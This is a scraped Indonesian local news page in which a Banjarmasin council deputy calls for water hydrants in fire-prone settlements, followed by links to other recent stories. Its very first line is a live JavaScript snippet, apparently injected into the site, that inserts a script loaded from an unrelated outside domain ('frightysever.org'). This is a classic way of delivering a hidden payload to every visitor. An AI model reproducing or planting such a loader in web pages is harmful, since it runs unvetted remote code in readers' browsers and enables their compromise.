(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Rawan Kebakaran, DPRD Banjarmasin Berharap Ada Water Hydrant di Pemukiman


BANJARMASIN, Maraknya kebakaran yang melanda pemukiman di Kota Banjarmasin beberapa waktu terakhir, mendapat atensi dari wakil rakyat di Kota Seribu Sungai yang baru dilantik.

Ditemui Kanalkalimantan.com pada Kamis (12/9) siang usai menerima perwakilan warga Alalak Tengah, Wakil Ketua Sementara DPRD Kota Banjarmasin HM Yamin HR menuturkan, pemerintah kota harus cepat tanggap dalam mencegah terjadinya kebakaran pemukiman. Salah satunya dengan menyediakan water hydrant di titik-titik tertentu.

“Dengan adanya hydrant itu kan tidak menunggu pemadam datang. Itu bisa memadamkan satu rumah sehingga tidak sampai menyebar ke rumah lain. Kita berharap pemko bisa memetakan titik-titik rawan atau sulit dijangkau pemadam kebakaran untuk pemadaman,” kata Yamin.

Menurut Yamin, saat musim kemarau ditambah pasang surut air yang cukup kuat di Kota Seribu Sungai, dapat menyebabkan terjadinya kebakaran yang bisa menghanguskan puluhan rumah, sehingga menyulitkan pemadam kebakaran dalam mengatasi api.

“Posisi juga diperhatikan. Misalnya di Alalak jalannya sempit sehingga mobil pemadam agak susah mengambil air. Pemko dengan pengusaha harapannya bisa menggunakan dana CSR (corporate social responsibility) untuk penyediaan hydrant guna mengatasi dengan sesegera mungkin kalau ada kebakaran,” tambah Yamin.

Yamin berjanji, persoalan minimnya water hydrant di titik-titik pemukiman ini akan dibahas bersama instansi terkait seperti Dinas PUPR Kota Banjarmasin dan BPBD Kota Banjarmasin, dalam penanganan tanggap darurat ataupun pencegahan kebakaran sedini mungkin.

Dirinya juga menekankan, dari segi urgensi, keberadaan water hydrant harus ditempatkan di titik-titik tertentu yang pastinya rawan terjadi kebakaran, serta minim akses air. “Jadi, kalau ada api langsung main (berfungsi water hydrant-nya), kalau hanya mengandalkan pemadam harus nunggu saat di jalan lagi, kan? Juga dengan adanya water hydrant itu, pemadam kebakaran juga tidak grasak-grusuk lagi,” pungkas Yamin.

Ia juga mengingatkan kepada masyarakat untuk berhati-hati dalam penggunaan listrik, maupun saat memasak, karena jika lalai dapat menyebabkan kebakaran terjadi. (fikri)

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Kasus Korupsi di Dinsos HST, Kuasa Hukum Berencana Ajukan Praperadilan

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Hulu Sungai Tengah (HST), MS (28) tersandung kasus… Read More

3 jam ago

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

13 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

16 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

18 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

18 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

19 jam ago

This website uses cookies.